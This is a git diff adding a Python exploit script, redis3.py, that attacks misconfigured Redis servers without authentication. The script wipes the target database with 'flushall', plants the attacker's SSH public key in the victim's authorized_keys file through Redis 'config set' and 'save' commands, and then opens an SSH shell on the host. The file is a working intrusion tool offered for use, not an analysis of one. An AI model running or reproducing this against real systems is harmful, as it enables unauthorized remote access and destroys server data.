diff --git a/redis3.py b/redis3.py new file mode 100644 index 0000000..df875d7 --- /dev/null +++ b/redis3.py @@ -0,0 +1,52 @@ +!/usr/bin/python +#Author : Avinash Kumar Thapa aka -Acid and Austin Turecek aka Galapag0s +#Twitter : https://twitter.com/m_avinash143 +##################################################################################################################################################### + +import os +import os.path +from sys import argv +from termcolor import colored + + +script, ip_address, username = argv + + +PATH='/usr/bin/redis-cli' +PATH1='/usr/local/bin/redis-cli' + +def ssh_connection(): + shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address + os.system(shell) + +if os.path.isfile(PATH) or os.path.isfile(PATH1): + try: + print(colored('\t*******************************************************************', "green")) + print(colored('\t* [+] [Exploit] Exploiting misconfigured REDIS SERVER*' ,"green")) + print(colored('\t* [+] AVINASH KUMAR THAPA aka "-Acid" ', "green")) + print(colored('\t*******************************************************************', "green")) + print("\n") + print(colored("\t SSH Keys Need to be Generated", 'blue')) + os.system('ssh-keygen -t rsa -C \"acid_creative\"') + print(colored("\t Keys Generated Successfully", "blue")) + os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo \'\r\n\') > $HOME/.ssh/public_key.txt") + cmd = "redis-cli -h " + ip_address + ' flushall' + cmd1 = "redis-cli -h " + ip_address + os.system(cmd) + cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " + ip_address + ' -x set cracklist' + os.system(cmd2) + cmd3 = cmd1 + ' config set dbfilename "backup.db" ' + cmd4 = cmd1 + ' config set dir' + " /home/"+username+"/.ssh/" + cmd5 = cmd1 + ' config set dbfilename "authorized_keys" ' + cmd6 = cmd1 + ' save' + os.system(cmd3) + os.system(cmd4) + os.system(cmd5) + os.system(cmd6) + print(colored("\tYou'll get shell in sometime..Thanks for your patience", "green")) + ssh_connection() + + except: + print("Something went wrong") +else: + print(colored("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.", "red"))